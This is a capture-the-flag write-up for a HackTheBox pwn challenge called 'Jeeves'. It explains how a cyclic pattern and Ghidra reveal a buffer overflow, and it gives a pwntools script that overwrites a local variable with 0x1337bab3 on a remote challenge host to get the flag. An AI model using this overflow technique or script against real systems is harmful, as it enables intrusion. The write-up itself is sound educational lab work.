Jeeves
Jeeves
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
How are you doing, sir?
Solution Approach
Core idea: Local Variable Overwrite.
Steps
-
First, unzip the
.zipfile given. -
Now check the file type.
-
Now, we know it's a binary file.
-
Let us check the binary's protection.
-
Based on it, we know that we can do bufferoverflow concept.
-
Anyway let us run chmod so we can execute the binary file. Then execute the file.
-
Run the file in gdb, and paste 1024 cyclic pattern as the input.
-
Got segmentation fault, now copy all characters from RBP.
-
And check the correct bytes to overflow the buffer by run
cylic -l. -
Now we know the correct bytes to overflow the buffer is 64 bytes, so we need to add 60 padding bytes.
-
Now let us decompile the file using ghidra and check the
main()function. -
Based on the
main()function, we need to overwrite thelocal_cvalues so to 0x1337bab3 so we can get the flag. -
To solve this we can convert the hex in little-endian format -> \xb3\xba\x37\x13.
-
Then add them after the 60 bytes.
-
For this solution, i made a python script using pwntools.
THE SCRIPT
from pwn import *
import os
os.system('clear')
context.log_level = 'debug'
#sh = remote('68.183.47.198',31162) #68.183.47.198:31162
sh = process("nc")
sh.sendline("68.183.47.198 31162")
p = b'A' * 60
p += p64(322419379) # 0x1337bab3
#sh.recvuntil("? ")
sh.sendline(p)
sh.interactive()
OUTPUT
- Got the flag!
Flag
REDACTED
Lessons Learned
- Local Variable Overwrite.